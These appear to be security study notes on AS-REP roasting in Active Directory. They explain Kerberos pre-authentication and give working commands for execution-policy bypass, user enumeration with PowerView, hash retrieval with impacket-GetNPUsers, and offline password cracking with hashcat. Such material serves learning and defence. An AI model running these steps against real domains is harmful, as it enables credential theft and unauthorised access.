AS-REP roasting

[MS-KILE]: Kerberos Network Authentication Service (V5) SynopsisMicrosoftLearn

AS-REP Roasting Attack Explained - MITRE ATT&CK T1558.004Picus Security

What is AS-REP Roasting?JumpCloud

impacket-scripts | Kali Linux ToolsKali Linux

AS-REP Roasting: Detection & Remediation Guide | Netwrixwww.netwrix.com

What is AS-REP roasting?

Pre-authentication enabled

In a standard Kerberos authentication flow (with pre-authentication active), a user initiates the process by sending an authentication service request (KRB_AS_REQ) to the KDC, with a timestamp encrypted using its own password. The KDC will validate the timestamp (using its stored version of the user's password), and if valid, response with an authentication service response (KRB_AS_REP) containing a TGT.

Pre-authentication disabled

However, with pre-authentication disabled, the KDC prematurely sends an authentication service response (KRB_AS_REP) upon receiving the KRB_AS_REQ for a particular user acount, without requiring any valid authentication details. This response includes a segment encrypted with a user's password hash (the user will be specified in the KRB_AS_REQ). This allows an an attacker to extract the encrypted data without knowledge of any authentication credentials, to perform offline brute-force or dictionary attacks to obtain the user's password.

(1) Retrieve a list of user accounts

First, we have to retrieve a list of user accounts in the AD network:

C:\> powershell -ep bypass
PS> Import-Module PowerView.ps1
PS>  Get-DomainUser

(2) Enumerate user accounts with pre-authentication disabled, and perform AS-REQ

Next, we can use the impacket-GetNPUsers script which

Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking:

$ impacket-GetNPUsers -dc-ip <DOMAIN_CONTROLLER> -usersfile <PATH_TO_USERS_LIST> -format {hashcat,john} <TARGET>

• <TARGET>: The domain user account to authenticate to the KDC with

  • as long as a valid user account is provided, this value will not affect the results of the script

• -dc-ip: Address of the domain controller

• -usersfile: List of domain users to check against (retrieved from previous step)

• -format: Output format (hashcat or john). Default is hashcat.

With this, we should retrieve the TGTs for users with the pre-authentication disabled.

(3) Offline cracking

Given that we output the hashes in hashcat format, we can perform the following commands to crack the passwords:

$ hashcat -a 0 -m <hash_mode> <path_to_hashes> <wordlist>

# eg. 
$ echo xxx > hashes.txt
$ hashcat -a 0 -m <hash_mode> hashes.txt /usr/share/wordlist/rockyou.txt

• -a: Attack mode

  • -a 0: Dictionary attack

  • -m : Hash mode

• -m <hash_mode>: either one of 18200, 32100, 32200 (depending on the encryption type of the hashes obtained)